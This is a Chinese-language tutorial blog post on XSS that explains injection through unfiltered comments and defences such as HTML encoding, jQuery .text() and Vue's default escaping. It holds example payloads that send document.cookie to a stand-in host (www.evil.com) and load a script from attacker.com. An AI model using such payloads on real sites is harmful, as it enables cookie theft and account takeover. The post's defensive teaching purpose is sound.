注意安全！XSS 和 XSRF

[Tips] 本文是從 jianshu 平臺從新修改編輯後移植來的，比上一版本作了些修訂。

最近在看一些關於網絡安全的問題，固然許可能是跟前端相關的，包括且不侷限於xss和xsrf 了，那麼小編就結合最近的學習實踐談一些粗淺的認識。（\(^o^)/，我是一個喜歡作實驗的傢伙）

XSS （Cross Site Script）跨站腳本攻擊！

XSS 意思就是跨站腳本攻擊。這裏面也涉及到跨域的問題，特別是在後面談到XSRF防護的時候。簡單來講XSS就是來自外部（用戶）輸入的腳本被注入到了受害網站，若是該網站沒有對用戶輸入進行過濾，那麼這段腳本可能被以後訪問該網站的用戶瀏覽器執行。

舉個栗子：

假如某個網站有評論功能且沒有針對XSS 的過濾，那麼小編在某文章下評論瞭如下內容：

<script>alert("你查看了個人文章！！快打賞！！不打賞不許走！！哈哈")</script>

那麼這段字符串POST給了網站服務器，沒有對腳本進行過濾或者Encode，啥都沒作。原封不動地加入了本來的HTML頁面，那麼當其餘用戶查看該文章的時候瀏覽器就會自動執行HTML 文檔中的這句 JS 腳本 ，彈出來 嚇人+_+...

這還不算啥，頂多就是煩人。但若是評論裏面寫的是：

<script>window.open(www.evil.com?content=document.cookie);</script>

當你再次訪問這篇文章的時候，你在當前域下的cookie被小編的惡意網站（www.evil.com）給get到了。。這個網站的後臺程序可能會拿到你的cookie（其中包含sessionId 等等），而後藉此cookie登錄你的網站帳戶，亂髮段子。固然，目前主流的網站都是禁止JS 腳本獲取而且操做cookie的，而且瀏覽器中的安全機制使得cookie 不會被髮送到跨域的其餘網站中。

其實，有個很是棒的圖展現了整個XSS攻擊的過程。

                                                >> how-xss-works

因此做爲一個合格的WebApp，不能相信任何用戶輸入內容， 更不能對數據未加處理就直接Print到HTML DOM 結構裏。當今主流的一些前端框架（Angular，Vue.js 等）都實現了對 XSS 的防護，結合服務器端的Token機制更是能夠防護XSRF（跨站僞造請求）

防護

那麼到底如何防護這種簡單的注入攻擊呢？

簡單地說，核心思想就是：不相信任何用戶輸入，不容許用戶注入腳本，例如<script> 等內容。在須要顯示腳本內容以前對其進行Encode，再顯示在HTML中。例如Jquery 經過 $.text(userInput) 來建立純文本節點，而不是把userInput 看成腳原本執行。 Vue.js 等框架則具備更高的安全策略，默認把全部動態內容渲染爲純文本，當你須要把內容執行的時候須要顯式調用v-html 指令，以下：

<p >Using mustaches: {{ rawHtml }} </p> // 默認安全渲染純文本

<p >Using v-html directive: <span v-html="rawHtml"> </span></p> // 看成Html或js 解釋執行

除了<script></script>這樣的標籤在DOM結構中會自動執行，還有哪些？？

對的！<img src="attacker.com/attack.js" /> <a href="www.evil.com?content=document.cookie"></a> 等等都能實現GET請求外部腳本，或者向非法網站發送POST請求，可能會修改你正在訪問的網站的密碼，因此這些內容都應該作Encode處理，總結起來，原理上就是把這些帶有 "<", ">", '\"' 等內容轉義便可。

舉個栗子：

用戶輸入內容是：<script>alert(" peiqian!")</script>

無害處理後字符串是：

                                                        >> 轉換後的字符串

轉換背後的機制是一套特殊字符 和 安全字符的映射表， 這與瀏覽器對HTML的渲染機制有關。各大瀏覽器中的JS引擎碰到<script> </script>這樣的標籤，會解析其中的代碼，而且執行。但碰到 &lt;&gt; 這樣的字符就不會當作JS 執行，而是做爲普通字符串打印。你們能夠試試看Encode 先後這個例子在瀏覽器中的表現。

映射表參考連接： 映射表

參考文章

cross-site-scripting

全面學習XSS